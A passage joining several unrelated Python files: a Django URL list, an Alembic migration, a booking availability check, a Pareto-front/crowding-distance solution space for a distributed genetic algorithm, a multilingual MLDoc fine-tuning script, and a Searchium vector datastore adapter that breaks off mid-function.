    path('stats/', views.stats, name="stats"),
    path('palabra/', views.palabra, name="palabra"),
    path('mensaje/', views.mensaje, name="mensaje"),
    path('inicializar/', views.inicializar, name="inicializar"),
]


"""added device type to the bro

Revision ID: 8d8029d633d8
Revises: 6ea95814d54c
Create Date: 2021-07-20 20:27:13.937258

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = '8d8029d633d8'
down_revision = '6ea95814d54c'
branch_labels = None
depends_on = None

def upgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.add_column('Bro', sa.Column('device_type', sa.Text(), nullable=True))
    # ### end Alembic commands ###

def downgrade():
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_column('Bro', 'device_type')
    # ### end Alembic commands ###


import datetime
from wasteapp.models import Schedule,Booking,Truck

def check_availability(schedule,booking_time,pickup_time):
    avail_list = []
    booking_list = Booking.objects.filter(schedule=schedule)
    for booking in booking_list:
        if booking.booking_time > pickup_time or booking.pickup_time < booking_time:
            avail_list.append(True)
        else:
            avail_list.append(False)
    return all(avail_list)


from typing import List
from typing import Tuple
from solution import Solution
import random
import numpy
from collections import Counter

class PopulationElement:

    def __init__(self, workerId: str, solId: int, sol: Solution) -> None:
        self.solution = sol
        self.workerId = workerId
        self.solId = solId

    def getSolution(self) -> Solution:
        return self.solution

    def getWorkerId(self) -> str:
        return self.workerId

    def getSolutionId(self) -> int:
        return self.solId

class FrontElement:

    def __init__(self, popElement: PopulationElement, crowdingDistance: float) -> None:
        self.populationElement = popElement
        self.crowding = crowdingDistance
        #self.objectivesNumber = numberOfObjectives

    def setCrowding(self, crowVal: float) -> None:
        self.crowding = crowVal

    def getCrowding(self) -> float:
        return self.crowding

    def getPopulationElement(self) -> PopulationElement:
        return self.populationElement

    def getSolution(self) -> Solution:
        popEl = self.getPopulationElement()
        return popEl.getSolution()

    def getSolutionId(self) -> int:
        return self.getPopulationElement().getSolutionId()

    def getWorkerId(self) -> str:
        return self.getPopulationElement().getWorkerId()

class SolutionSpace:

    def __init__(self, numObj: int, rng: numpy.random.mtrand.RandomState) -> None:
        self.fronts = list()
        self.population = list()
        self.solutionId=0
        self.objectivesNumber = numObj
        self.randomNG = rng

    def getFrontCrowdingBySolId(self,idWorker: str, idSol:int ) -> Tuple[int,float]:

        for i,front in enumerate(self.fronts):
            for j,element in enumerate(front):
                if element.getWorkerId()==idWorker and element.getSolutionId()==idSol:
                    return i, element.getCrowding()
        return 0 #ERROR: solution is not found

    '''
    This function is executed when the execution of the worker starts. The initial population of the
    worker has the size of the configuration file and the solution template.
    The population is stored in self.population and the elements of this list are dictionaries with
    the workerId the solutionId and the solution (instance of the solution object)
    The structure to store the fronts self.fronts is also created (empty). For each new solution
    (one loop of the for) the new solution is included in the self.population and in the corresponding
    front (calling function self.incorporateSolutionIntoFront). The identificator of the solution is
    also increased (solutionId)
    INPUTS: None
    '''
    def createRandomPopulationAndJoin(self,solTemplate: dict, infrastructure: dict, workerId: str, numberOfSolutions: int) -> None:
        # we create the population with the specified solution template
#        self.population = list()
#        self.fronts = list()
        solutionsForParetos = list()
        for i in range(numberOfSolutions):
            oneSolution = Solution(self.randomNG,solTemplate, infrastructure)
            newPopulationElement = PopulationElement(workerId,self.solutionId,oneSolution)
            #newSolutionElement['workerId'] = optCnf.selfId4Worker
            #newSolutionElement['solutionId'] = self.solutionId
            #newSolutionElement['solution'] = oneSolution

            self.population.append(newPopulationElement)
            solutionsForParetos.append(newPopulationElement)
            # self.incorporateSolutionIntoFront(newSolutionElement) #recalculate pareto for each single solution
            self.solutionId = self.solutionId + 1

        self.shiftSolutionsToHigherFronts(solutionsForParetos,
                                          0)  # recalculate pareto fronts for all the new solutions

    '''
    When a new worker is started, it locally create a set of N solutions. Those N new solutions in the worker,
    are included in the coordinator population. The size of the population of the coordinator is increased by N,
    i.e., no solutions are removed front coordinator population
    '''
    def createSolutionWithInputAndJoinWithCurrentPopulation(self, workerId: str, solSet: List[dict]) -> None:
        solutionsForParetos = list()
        for sol in solSet:
            newSol = Solution(self.randomNG)
            newSol.setFitness(sol['fitness'])
            newPopulationElement = PopulationElement(workerId,sol['id'],newSol)
            #newSolutionElement['workerId'] = workerId
            #newSolutionElement['solutionId'] = sol['id']
            #newSolutionElement['solution'] = newSol
            self.population.append(newPopulationElement)
            solutionsForParetos.append(newPopulationElement)
            # self.incorporateSolutionIntoFront(newSolutionElement)  # recalculate pareto fronts

        self.shiftSolutionsToHigherFronts(solutionsForParetos,
                                          0)  # recalculate pareto fronts for all the new solutions

    '''
    Created for the case of the FullMigration scenario (population distributed along workers). It is required because
    a central copy of the solutions in the workers is required for analysis of the experiments porpouse. Not really
    need to implement the framework, just for experimentation
    '''
    def createSolutionWithInputAndAggregateWithCurrentPopulationWithoutClassifyingFronts(self, workerId: str, solSet: List[dict]) -> None:
        for sol in solSet:
            newSol = Solution(self.randomNG)
            newSol.setFitness(sol['fitness'])
            newPopulationElement = PopulationElement(workerId,sol['id'],newSol)
            #newSolutionElement['workerId'] = workerId
            #newSolutionElement['solutionId'] = sol['id']
            #newSolutionElement['solution'] = newSol
            self.population.append(newPopulationElement)
            if len(self.fronts)==0:
                front0 = list()
                self.fronts.append(front0)
            self.fronts[0].append(newPopulationElement)

    def joinToThePopulation(self,offspring: List[PopulationElement]) -> None:
        #decide what it is explained in def crossoverWithRemoteSolution join the two new children or replace two old solutions.
        ##ANSWER: we add it without removing. The role to remove solutions is in charge of the coordinator.
        self.population = self.population + offspring
        #for sol in offspring:
        #    self.incorporateSolutionIntoFront(sol) #call to recalculate pareto fronts for only one solution
        self.shiftSolutionsToHigherFronts(offspring, 0)  # call to recalculate pareto fronts can be done with both of the solutions in the same set

    '''
    This function is executed when the execution of the coordinator starts. The initial population of the
    coordinator is empty, because the random initial populations are created in the workers.
    INPUTS: None
    '''
    def createRandomPopulationCoordinator(self, solTemplate: dict, infrastructure: dict, workerId: str) -> None:
        pass

    '''
    This function is call from the worker, when a solution has to be removed as the action of a topic of removesolution
    This topic indicates the solutions to remove that have been discarded from the coordinator, and this is always the
    worst solution in the pareto fronts of the coordinator. The worst solution in the coordinator fronts, is also the
    worst solution in the worker fronts.
    '''
    def removeSolution(self, idSol: str, idWorker: str) -> bool:
        for pos, popElement in enumerate(self.population):
            if popElement.getSolutionId() == idSol and popElement.getWorkerId() == idWorker:
                self.removeWorstSolutionFromFront(popElement)
                self.population.pop(pos)
                return True
        return False

    '''
    This funciton is usually call after a crossover operation and the following incorporation of the children in the
    population. A set of the input size is removed from the population. The removed solutions are the worst ones in
    the fronts, ie, the solutions with the smallest crowding distance in the last front
    '''
    def removeSetOfWorstSolutions(self, solNumber: int) -> List[PopulationElement]:
        # The worst solutions from the fronts are selected. The worst solutions are the ones in the last front
        #with the smallest crowding distance (closest to other solutions).
        toRemove = list()
        #        self.log.print("COORDINATOR:::choosing to remove")
        for i in range(solNumber):
            fe,posFe = self.getFrontElementWithSmallestCrowdingInFront(-1)
            self.removeSolutionFromFrontByFrontIdAndPos(-1,posFe)
            #frontPos = random.randrange(len(self.fronts[
            #                                    -1]))    no hay que elmininar una del ultimo front aleatoriamente, hay que eliminar la que tenga menor crowding distance

            #sol2Remove = dict()
            #sol2Remove['solutionId'] = self.fronts[-1][frontPos][0]['solutionId']
            #sol2Remove['workerId'] = self.fronts[-1][frontPos][0]['workerId']
            # self.log.print("COORDINATOR:::removing["+str(sol2Remove['solutionId'])+ " from " + str(sol2Remove['workerId']))

            popElementToRemove, posPopElement = self.getPopulationElementBySolutionId(fe.getSolutionId(),fe.getWorkerId())
            self.population.pop(posPopElement)

            toRemove.append(fe.getPopulationElement())
            #self.removeWorstSolutionFromFront(popElementToRemove)

        #        self.log.print("COORDINATOR:::all to remove" + str(toRemove))
        return (toRemove)

    def removeSolutionFromFrontByFrontIdAndPos(self, front:int, pos:int) -> None:
        self.fronts[front].pop(pos)
        if len(self.fronts[front])==0:
            self.fronts.pop(front)

    '''
    Remove one solution of the fronts. The removing process is performed under the assumption that the element to
    remove is the worst one, and consequently, it is placed in the last front. Thus, a reorganization of the fronts
    is not required.
    INPUTS: one the population Element from the list self.population. This popElement is a dictionary with the
    workerId the solutionId and the solution (instance of the solution)
    '''
    def removeWorstSolutionFromFront(self,popElement: PopulationElement) -> None:
        for i,front in enumerate(self.fronts):  #go through the fronts
            for j,frontElement in enumerate(front): #go through the solutions in a front. those front elements ara a duple of the populationElement and the croding distance
                if frontElement.getSolutionId()==popElement.getSolutionId() and frontElement.getWorkerId()==popElement.getWorkerId():
                   #when the solution to remove is found, the front element is removed
                   front.pop(j)
                   if len(front)==0:
                       #if the removed solution is the last one in the front, the front must be removed.
                       self.fronts.pop(i)
                   return
        #self.log.print("ERRORRRR: solution to remove from the front is not found")
        print("ERRORRRR: solution to remove from the front is not found")

    def calculateCuboid(self, sortedElements: List[dict], pos: int, front: List[FrontElement]) -> float:
        solMiddle = sortedElements[pos]
        if pos != 0: #check if the middle solution has the same values for all the objectives of the previous lower solution
            solPrev = sortedElements[pos - 1]
            if solMiddle['fitness'] == solPrev['fitness']:
                if front[solPrev['posInFront']].getSolution().fitness == front[solMiddle['posInFront']].getSolution().fitness:
                    return 0.0
        if pos != -1 and pos != (len(sortedElements)-1): #check if the middle solution has the same values for all the objectives of the next higher solution
            solNext = sortedElements[pos + 1]
            if solMiddle['fitness'] == solNext['fitness']:
                if front[solNext['posInFront']].getSolution().fitness == front[solMiddle['posInFront']].getSolution().fitness:
                    return 0.0
        if pos != 0 and pos != -1:
            return solNext['fitness'] - solPrev['fitness']
        elif pos == 0:   #the smallest and biggest elements have a crawding distance of the double distance with the only neighbourd they have
            return 2.0*(solNext['fitness'] - solMiddle['fitness'])
        elif pos == -1 or pos == (len(sortedElements)-1):   #the smallest and biggest elements have a crawding distance of the double distance with the only neighbourd they have
            return 2.0*(solMiddle['fitness'] - solPrev['fitness'])

    def calculateCrawdingDistance(self, front: List[FrontElement], numObjectives: int) -> None:
        for frontElement in front:
            frontElement.setCrowding(0.0) #all the crowding distances are initialized to 0
            #frontElement[1]=0.0
        if len(front)<3:
            return #if there are only 2, 1 or 0 elements in the front, the crowding distance is 0
        for objPos in range(numObjectives):
            listOfObjectivePosPair =list()
            for pos, frontElement in enumerate(front): #we create a structure to know the value of the fitness and the position in the front for the solution with this value
                fitnessValue =  frontElement.getSolution().fitness[objPos]
                objectivePosElement = dict()
                objectivePosElement['fitness']=fitnessValue
                objectivePosElement['posInFront']=pos
                listOfObjectivePosPair.append(objectivePosElement)
            sortedElements = sorted(listOfObjectivePosPair,key=lambda x:x['fitness'])
            minValue = sortedElements[0]['fitness']
            maxValue = sortedElements[-1]['fitness']
            normalizedDenominator=float(maxValue-minValue)
            if normalizedDenominator>0.0: #check normalizedDenominator bigger than 0.0
                #if the max and minimum value are equal, the crowding distance of all the elements is 0.0
                #if normalizeddenominator == 0.0 do nothing FOR THIS OBJECTIVE because all the crowding distances were initialized to 0.0 at the beginning of the function
                for thePair in sortedElements:
                    thePair['fitness']=float(float(thePair['fitness'])/float(normalizedDenominator))
                #assumption: there are more than 2 elements in the list, because it was checked at the beginning of the function
                for posPair in range(1,len(sortedElements)-1):
                    #crawdingIncrement = sortedElements[posPair + 1][0] - sortedElements[posPair - 1][0]
                    crawdingIncrement = self.calculateCuboid(sortedElements,posPair,front)
                    frontPos = sortedElements[posPair]['posInFront']
                    front[frontPos].setCrowding(front[frontPos].getCrowding() + crawdingIncrement)

                for posPair in [0,-1]:  #calculation of the crowding distances of the two extrem elements (the smallest and the highest)
                    #crawdingIncrement = 2*(sortedElements[posPair + 1][0] - sortedElements[posPair][0])
                    crawdingIncrement = self.calculateCuboid(sortedElements, posPair, front)
                    frontPos = sortedElements[posPair]['posInFront']
                    front[frontPos].setCrowding(front[frontPos].getCrowding() + crawdingIncrement)

    '''
    Recursive functions that,for a set of new solutions, checks if the are in the current pareto front. Each
    solution in the set of moving solutions is isolated analyzed to check if it dominates solutions in the current
    front, or if it is dominated by solutions in the fronts.
    If the the solution dominates solutions in the fronts, the set of dominated solution is included in the set of
    solutions to include in the next recursive call to the function. I,e, they are moved to higher fronts.
    If the solution is not dominated by any solution in the front, the new solution is included in this front. If not,
    the new solution is included in the in the set of solutions to include in the next recursive call to the function,
    i.e. the search of its front will continue in higher fronts.
    INPUTS: listOfMovingSolutions: the solutions that need to be checked if the are included in the front. The elements
    of this list are population elements, which are classes of PopulationElement with workerId, solutionId
    and PopuliatonElement (object instance).
    frontNumber: the current front to analyize the inclusion of the set of solutions
    '''
    def shiftSolutionsToHigherFronts(self, listOfMovingSolutions: List[PopulationElement] ,frontNumber: int) -> None:
        if self.getNumberOfFronts()<=frontNumber: #if we have already analized all the previous fronts, we need to create a new front to include the current moving/shifted solutions. Those solutions are the ones that are not included in previous fronts.
            newFront = self.addFront(listOfMovingSolutions)
            self.calculateCrawdingDistance(newFront, self.objectivesNumber)
            return #no more fronts require to be analyzed.
        currentFront = self.getFrontByNumber(frontNumber)
        newShiftedSolutions = list() # the set of solutions that will be moved/shifted to higher fronts
        recalculateCrawding = False
        for newSolution in listOfMovingSolutions: #for all the solutions in the parameter of solution lists to evaluate where to be placed in the fronts
            solInstanceInMovingList = newSolution.getSolution()
            dominatedSolutions = list()
            for i,frontElement in enumerate(currentFront):  #searching the solutions that are dominated by the newsolution in the current from
                solInstanceInFront = frontElement.getSolution()
                if solInstanceInMovingList.dominatesTo(solInstanceInFront):
                    dominatedSolutions.append(i)
            if len(dominatedSolutions) > 0:
                recalculateCrawding = True
            dominatedSolutions.sort(reverse=True)#the elements in a list has to be removed in descending order, if not, the indexes change as the elements are removed
            for pos in dominatedSolutions: #all the dominated solutions are removed from the front and shifted to the higher front
                newShiftedSolutions.append(currentFront[pos].getPopulationElement())
                currentFront.pop(pos)
            isNewSolutionDominatedbySomeOne = False
            for i,frontElement in enumerate(currentFront): #we check if the new solution is dominated by someone
                solInstanceInFront = frontElement.getSolution()
                if solInstanceInFront.dominatesTo(solInstanceInMovingList):
                    isNewSolutionDominatedbySomeOne = True #we found that at least one solutin in the front dominates the new solution
                    break
            if isNewSolutionDominatedbySomeOne:
                newShiftedSolutions.append(newSolution) #if it is dominated by some solution in the front, the new solutions is pass through to a higher front
            else:
                self.addElement2Front(newSolution,frontNumber) #if no other solution dominates the new one, it is included in the front.
                recalculateCrawding = True

        if recalculateCrawding: #if some solutions are removed from this front and shifted to higher fronts, or if any of the new solution is included in the front we need to recalculate crawding distances
            self.calculateCrawdingDistance(currentFront, self.objectivesNumber)

        if len(newShiftedSolutions)>0: #if there is still solutions to place into the fronts, the function is recursevilly called to the next higher front
            self.shiftSolutionsToHigherFronts(newShiftedSolutions,frontNumber+1)

    def getRandomSolutions(self,numberOfSolutions: int) -> List[PopulationElement]:
        #idsList = random.sample(range(0, len(self.population)),
        #                                               numberOfSolutions)  # two solution are randomly selected
        if (numberOfSolutions>len(self.population)):
            idsList = self.randomNG.choice(len(self.population), numberOfSolutions, replace=True).tolist()
            #we need to select more solutions than the number of solutions in the population, thus
            # replace is equal True in order to allow the repetition of a same solution in the list of selected solutions
        else:
            idsList = self.randomNG.choice(len(self.population), numberOfSolutions, replace=False).tolist()
        solutionList = list()
        for i in idsList:
            solutionList.append(self.population[i])
        return solutionList

    def chooseBetter(self, pe1: PopulationElement, pe2: PopulationElement) -> PopulationElement:
        frontNumber1, crowding1 = self.getFrontCrowdingBySolId(pe1.getWorkerId(),
                                                       pe1.getSolutionId())
        frontNumber2, crowding2 = self.getFrontCrowdingBySolId(pe2.getWorkerId(),
                                                       pe2.getSolutionId())
        # the best solution is returned. The best is the one in the lowest front, and if they are in the same front, the one with the highest crowding distance
        if frontNumber1 > frontNumber2:
            return pe1
        elif frontNumber2 > frontNumber1:
            return pe2
        elif frontNumber1 == frontNumber2:
            if crowding1 > crowding2:
                return pe1
            else:
                return pe2
        else:
            return 0  # error, not comparable fronts

    def getFrontByNumber(self,frontNumber: int) -> List[FrontElement]:
        return self.fronts[frontNumber]

    def getNumberOfFronts(self) -> int:
        return len(self.fronts)

    def getSolutionByFrontAndPos(self, frontId: int, frontElementId: int) -> Solution:
        return self.fronts[frontId][frontElementId].getSolution()

    def addFront(self, listOfSolutions: List[PopulationElement]) -> List[FrontElement]:
        newFront = list()
        for newSolution in listOfSolutions:
            fe = FrontElement(newSolution, 0.0)  # the front element is a class with the population element and the crowding distance
            newFront.append(fe)
        self.fronts.append(newFront)
        return newFront

    def addElement2Front(self, newSolution: PopulationElement, frontNumber: int) -> List[FrontElement]:
        currentFront = self.getFrontByNumber(frontNumber)
        fe = FrontElement(newSolution, 0.0)
        currentFront.append(fe)
        return currentFront

    def getFrontElementWithSmallestCrowdingInFront(self, frontNumber: int) -> Tuple[FrontElement,int]:
        feSmallestCrowding = None
        pos_fe = -1
        valueSmallest = float('inf')
        #if two elements solutions have the same crowding, we select the first in the list, that is the one
        #that was generated before. Consequently, we increase the probability to replace old solutions with newest
        #solutions, in the case with the same crowding.
        for i,fe in enumerate(self.fronts[frontNumber]):
            if fe.getCrowding()<valueSmallest:
                valueSmallest = fe.getCrowding()
                feSmallestCrowding = fe
                pos_fe = i
        return feSmallestCrowding, pos_fe

    def getPopulationElementBySolutionId(self, solId:int, workerId: str)-> Tuple[PopulationElement, int]:
        for i, pe in enumerate(self.population):
            if pe.getSolutionId() == solId and pe.getWorkerId() == workerId:
                return pe, i
        return None, None

    '''
    This function returns a list/dictionary structure with the fitnesses of the solutions. This structure
    can be serialized into a json file
    INPUTS: If a population is included as parameter, we serialized the input populaiton, if not,
    self.populuation is serialized
    '''
    def fitness2json(self, pop: List[PopulationElement] =None) -> List[dict]:
        # If a population is included as parameter, we serialized the input populaiton, if not, self.populuation is serialized
        if pop==None:
            population = self.population
        else:
            population = pop

        #a dictionary structure is create where id is the solutionId and fitness is the array with all the fitness values of the objectives
        setOfSolutions = list()
        for sol in population:
            oneSolution = dict()
            oneSolution['id']=sol.getSolutionId()
            oneSolution['fitness']=list(sol.getSolution().getFitness())
            setOfSolutions.append(oneSolution)
        return setOfSolutions

    def getFitnessInFronts2List(self) -> list:
        fitFronts = list()
        for i, front in enumerate(self.fronts):
            oneFront = list()
            for fe in front:
                oneFront.append(fe.getSolution().getFitness())
            fitFronts.append(oneFront)
        return fitFronts

    def getSolDistributionInWorkers(self) -> dict:
        #TODO  check if correct
        #devolver una distribucion de soluciones entre los workers. num de  workers con 1 solution, num de workers con
        #dos soluciones, etc... y lo mismo con el pareto. Asi veremos la distribucion de las soluciones entre los workers

        #calculate the density function of number of solutions in workers
        theWorkersInAll = list()
        for i, front in enumerate(self.fronts):
            for fe in front:
                theWorkersInAll.append(fe.getWorkerId())
        countInEachWorker = Counter(theWorkersInAll) #count how many solutions in each workerId
        countsValues=list(countInEachWorker.values()) #get the list of the number of solutions
        distributionOfCountValues = Counter(countsValues) #count how many workers has the same quantity of solutions

        #calculate the density functino of number of pareto's solutions in workers
        theWorkersInPareto = list()
        front=self.fronts[0]
        for fe in front:
            theWorkersInPareto.append(fe.getWorkerId())
        countInEachWorkerPareto = Counter(theWorkersInPareto)  # count how many solutions in each workerId
        countsValuesPareto = list(countInEachWorkerPareto.values())  # get the list of the number of solutions
        distributionOfCountValuesPareto = Counter(countsValuesPareto)  # count how many workers has the same quantity of solutions

        totalValues = dict()
        totalValues['front']=dict(distributionOfCountValues)
        totalValues['pareto']=dict(distributionOfCountValuesPareto)

        #print(totalValues)
        return totalValues

    def serializeFrontsWithoutCrowding(self) -> str:
        returnedStr  = ''
        for i, front in enumerate(self.fronts):
            returnedStr += 'FRONT NUMBER: ' + str(i) + '\n'
            for fe in front:
                theFitness = fe.getSolution().getFitness()
                #theCrowdingDistance = fe.getCrowding()
                theCrowdingDistance = None
                theSolId = fe.getSolutionId()
                theWorkerId = fe.getWorkerId()
                returnedStr  += '---- fitness('+str(theWorkerId)+'-'+str(theSolId)+'): ' + str(theFitness) + '\t\tcrowding distance: ' + str(theCrowdingDistance) + '\n'
        return returnedStr

    def serializeFronts(self) -> str:
        returnedStr  = ''
        for i, front in enumerate(self.fronts):
            returnedStr += 'FRONT NUMBER: ' + str(i) + '\n'
            for fe in front:
                theFitness = fe.getSolution().getFitness()
                theCrowdingDistance = fe.getCrowding()
                theSolId = fe.getSolutionId()
                theWorkerId = fe.getWorkerId()
                returnedStr  += '---- fitness('+str(theWorkerId)+'-'+str(theSolId)+'): ' + str(theFitness) + '\t\tcrowding distance: ' + str(theCrowdingDistance) + '\n'
        return returnedStr

    '''
    The input is a lists of solutions that has to be pre-included in the self.population by only generating the
    populationElement instance and by adding the solutionID
    '''
    def createSubPopulation(self, solutions: List[Solution], workerId: str):
        offspring = list()
        for sol in solutions:
            pe = PopulationElement(workerId, self.solutionId, sol)
            self.solutionId = self.solutionId + 1
            offspring.append(pe)

        return offspring


import argparse
import os
import sys

import numpy as np
import torch
from omegaconf import OmegaConf
from sklearn.metrics import accuracy_score
from transformers import (AutoConfig, AutoTokenizer, Trainer,
                          TrainingArguments, XLMRobertaTokenizer)

from bert import (BertForSequenceClassificationWithPooler,
                  RobertaForSequenceClassificationWithPooler)
from data import MLDocParser

sys.path.append(os.path.abspath(os.getcwd()))
from utils.mlflow_writer import MlflowWriter
from utils.utils import get_mlflow_writer, set_seeds

def load_mldoc_data(dataset_path, lang):
    data = {}
    lcode_to_lang = {
        "en": "english",
        "fr": "french",
        "de": "german",
        "ja": "japanese",
        "zh": "chinese",
        "it": "italian",
        "ru": "russian",
        "es": "spanish",
    }
    lang = lcode_to_lang[lang]
    modes = ["train.1000", "dev", "test"]
    categories = ["CCAT", "MCAT", "ECAT", "GCAT"]
    categories_index = {t: i for i, t in enumerate(categories)}
    parser = MLDocParser()
    for mode in modes:
        file_path = f"{dataset_path}/{lang}.{mode}"
        sentences, labels = zip(
            *[
                [sentence, categories_index[category]]
                for sentence, category in parser(file_path)
            ]
        )
        data[mode[:5]] = (list(sentences), list(labels))
    return data

class MLDocDataset(torch.utils.data.Dataset):
    def __init__(self, encodings, labels):
        self.encodings = encodings
        self.labels = labels

    def __getitem__(self, idx):
        item = {key: torch.tensor(val[idx]) for key, val in self.encodings.items()}
        item["labels"] = torch.tensor(self.labels[idx])
        return item

    def __len__(self):
        return len(self.labels)

def compute_metrics(pred):
    labels = pred.label_ids
    preds = pred.predictions.argmax(-1)
    acc = accuracy_score(labels, preds)
    return {
        "accuracy": acc,
    }

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--model_name_or_path", type=str, default="bert-base-multilingual-cased"
    )
    parser.add_argument(
        "--pooler",
        type=str,
        choices=["cls", "cls_before_pooler", "avg", "avg_top2", "avg_first_last"],
        default="avg",
        help="Which pooler to use",
    )
    parser.add_argument(
        "--experiment_name",
        type=str,
        default="mldoc",
        help="mlflow experiment name",
    )
    parser.add_argument(
        "--learning_rate",
        type=float,
        default=1e-03,
    )
    parser.add_argument(
        "--weight_decay",
        type=float,
        default=0.00,
    )
    parser.add_argument(
        "--gradient_accumulation_steps",
        type=int,
        default=1,
    )
    parser.add_argument(
        "--seed",
        type=int,
        default=42,
    )
    parser.add_argument("--dev", action="store_true")
    parser.add_argument("--do_finetune", action="store_true")

    args = parser.parse_args()

    set_seeds(args.seed)

    mlflow_writer = get_mlflow_writer(args.experiment_name, "mlruns", OmegaConf.create({"eval_args": vars(args)}))

    dataset_path = "downstreams/cross-lingual-transfer/data"
    eval_data = dict()
    eval_langs = ["en", "fr", "de", "ja", "zh", "it", "ru", "es"]
    for lang in eval_langs:
        print(lang)
        eval_data[lang] = load_mldoc_data(dataset_path, lang)

    train_texts, train_labels = eval_data["en"]["train"]
    val_texts, val_labels = eval_data["en"]["dev"]

    if "xlm" in args.model_name_or_path:
        tokenizer = XLMRobertaTokenizer.from_pretrained(args.model_name_or_path)
    else:
        tokenizer = AutoTokenizer.from_pretrained(args.model_name_or_path)

    train_encodings = tokenizer(train_texts, truncation=True, padding=True)
    val_encodings = tokenizer(val_texts, truncation=True, padding=True)

    train_dataset = MLDocDataset(train_encodings, train_labels)
    val_dataset = MLDocDataset(val_encodings, val_labels)

    config = AutoConfig.from_pretrained(args.model_name_or_path)

    config.pooler_type = args.pooler
    config.num_labels = 4
    config.do_finetune = args.do_finetune
    config.problem_type = None

    if "xlm" in args.model_name_or_path:
        model = RobertaForSequenceClassificationWithPooler.from_pretrained(
            args.model_name_or_path, config=config
        )

    elif any([name in args.model_name_or_path for name in ["bert", "LaBSE"]]):
        model = BertForSequenceClassificationWithPooler.from_pretrained(
            args.model_name_or_path, config=config
        )
    else:
        raise NotImplementedError

    if not config.do_finetune:
        for name, param in model.named_parameters():
            if "classifier" not in name:
                param.requires_grad = False
            else:
                print(name)

    device = torch.device("cuda") if torch.cuda.is_available() else torch.device("cpu")
    model.to(device)
    model.train()

    training_args = TrainingArguments(
        output_dir="./results",  # output directory
        num_train_epochs=5,  # total number of training epochs
        per_device_train_batch_size=32,  # batch size per device during training
        gradient_accumulation_steps=args.gradient_accumulation_steps,
        per_device_eval_batch_size=128,  # batch size for evaluation
        learning_rate=args.learning_rate,
        weight_decay=args.weight_decay,  # strength of weight decay
        logging_dir="./logs",  # directory for storing logs
        logging_steps=10,
        eval_steps=10,
        metric_for_best_model="accuracy",
        load_best_model_at_end=True,
        evaluation_strategy="steps",
        seed=args.seed,
    )

    trainer = Trainer(
        model=model,  # the instantiated ðŸ¤— Transformers model to be trained
        args=training_args,  # training arguments, defined above
        train_dataset=train_dataset,  # training dataset
        eval_dataset=val_dataset,  # evaluation dataset
        compute_metrics=compute_metrics,
    )

    trainer.train()

    res = trainer.evaluate()
    print(res)
    mlflow_writer.log_metric("en-dev", res["eval_accuracy"])

    if not args.dev:
        lang_results = []

        for lang in eval_langs[1:]:
            print(lang)
            test_texts, test_labels = eval_data[lang]["test"]
            test_encodings = tokenizer(test_texts, truncation=True, padding=True)
            test_dataset = MLDocDataset(test_encodings, test_labels)
            res = trainer.evaluate(test_dataset)
            print(trainer.evaluate(test_dataset))
            lang_results.append(res["eval_accuracy"])
            mlflow_writer.log_metric(lang, res["eval_accuracy"])
        mlflow_writer.log_metric("Avg.", np.mean(lang_results))

if __name__ == "__main__":
    main()


import asyncio
import os
import time
from typing import Optional, List, Dict, Any

import searchium
from datastore.datastore import DataStore
from models.models import (
    DocumentMetadataFilter,
    QueryWithEmbedding,
    QueryResult,
    DocumentChunk, DocumentChunkMetadata, DocumentChunkWithScore
)
from searchium.fvs.model import DatasetStatus
from services.date import to_unix_timestamp

# Read environment variables for Searchium configuration
# retrieve this env from searchium cloud platform
SEARCHIUM_INSTANCE_ID = os.environ.get("SEARCHIUM_INSTANCE_ID")
# The dataset size for training and loading should be reasonably close to the actual size.
# The actual dataset size cannot be smaller than this parameter.
# Alternatively, you can run the training process/load manually.
# The actual minimum size should be at least 4,001.
SEARCHIUM_DATASET_SIZE = os.environ.get("SEARCHIUM_DATASET_SIZE")
# retrieve from searchium cloud platform
SEARCHIUM_CLIENT_API_URL = os.environ.get("SEARCHIUM_CLIENT_API_URL")
# dataset uuid
SEARCHIUM_DATASET_ID = os.environ.get("SEARCHIUM_DATASET_ID")

assert SEARCHIUM_INSTANCE_ID is not None  # UUID
assert SEARCHIUM_DATASET_ID is not None  # UUID
assert SEARCHIUM_DATASET_SIZE is not None  # int
assert SEARCHIUM_CLIENT_API_URL is not None  # str

UPSERT_BATCH_SIZE = 100

searchium.init(SEARCHIUM_INSTANCE_ID, SEARCHIUM_CLIENT_API_URL)

class SearchiumDataStore(DataStore):
    # flow: create dataset -> upsert documents -> train dataset -> load dataset -> search
    def __init__(self):
        try:
            list_ds = searchium.get_datasets()
            list_ids = [ds.id for ds in list_ds]
            if SEARCHIUM_DATASET_ID not in list_ids:
                self.dataset_id = searchium.create_dataset(SEARCHIUM_DATASET_ID).datasetId
                self.d_size = 0
                self.d_train = True
            else:
                self.dataset_id = SEARCHIUM_DATASET_ID
                dataset = searchium.get_dataset(self.dataset_id)
                size_db = dataset.numOfRecords
                size_db = size_db if size_db is not None else 0
                self.d_train = True if (dataset.datasetStatus is None or size_db == 0 or size_db < int(
                    SEARCHIUM_DATASET_SIZE)) else False
                self.d_size = size_db
            self.lock = asyncio.Lock()
        except Exception as e:
            raise e

    async def _upsert(self, chunks: Dict[str, List[DocumentChunk]]) -> List[str]:
        # Initialize a list of ids to return
        doc_ids: List[str] = []
        # Initialize a list of vectors to upsert
        vectors: List[dict] = []
        # Loop through the dict items
        for doc_id, chunk_list in chunks.items():
            # Append the id to the ids list
            doc_ids.append(doc_id)
            print(f"Upserting document_id {doc_id}")
            for chunk in chunk_list:
                # add global doc_id
                searchium_metadata = self._get_searchium_metadata(chunk.metadata)
                searchium_metadata["document_id"] = doc_id
                searchium_metadata["text"] = chunk.text
                searchium_metadata["chunk_id"] = chunk.id
                vectors.append({"document_id": chunk.id, "vector": chunk.embedding, "metadata": searchium_metadata})

        # Split the vectors list into batches of the specified size
        batches = [
            vectors[i: i + UPSERT_BATCH_SIZE]
            for i in range(0, len(vectors), UPSERT_BATCH_SIZE)
        ]
        # Upsert each batch to Searchium
        for batch in batches:
            try:
                print(f"Upserting batch of size {len(batch)}")
                searchium.add_chunk(dataset_id=self.dataset_id, list_documents=batch)
                self.d_size = searchium.get_dataset(self.dataset_id).numOfRecords
                print(f"Upserted batch successfully")

                if ((self.d_size + 10) >= int(SEARCHIUM_DATASET_SIZE)) and self.d_train:
                    await self.lock.acquire()
                    status = searchium.get_dataset_status(self.dataset_id).datasetStatus
                    while status is DatasetStatus.ADDING:
                        status = searchium.get_dataset_status(self.dataset_id).datasetStatus
                        print(f"dataset status: {status} in progress, awaiting {status} completion.")
                        time.sleep(5)
